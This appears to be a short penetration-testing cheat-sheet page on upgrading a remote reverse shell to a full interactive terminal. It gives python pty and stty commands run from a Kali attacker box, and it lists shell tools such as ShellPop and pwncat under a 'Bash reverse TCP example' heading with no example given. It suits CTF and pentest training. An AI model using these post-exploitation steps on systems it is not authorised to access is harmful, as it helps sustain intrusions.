Shells

Upgrade to PTY

# Spawn PTY
$ if python3 -V > /dev/null 2>&1; then
  python3 -c 'import pty; pty.spawn("/bin/bash")'
elif python -V > /dev/null 2>&1; then
  python -c 'import pty; pty.spawn("/bin/bash")'
fi
Or
$ script -q /dev/null /bin/bash

# Background remote shell
user@remote:~$ ^Z

# Get rows and cols from local terminal
root@kali:~$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'

# Disable local output in terminal
root@kali:~$ stty raw -echo; fg

# (optional) Reset remote terminal
user@remote:~$ reset

# Set rows and columns for proper text aligning
user@remote:~$ stty rows ${ROWS} cols ${COLS}

# For CTRL-L to work
user@remote:~$ export TERM=xterm / xterm-color / xterm-256color

# (optional) Get Bash new process image
user@remote:~$ exec /bin/bash [-l]

Tools

ShellPop

Bash reverse TCP example:

pwncat

xxh

Last updated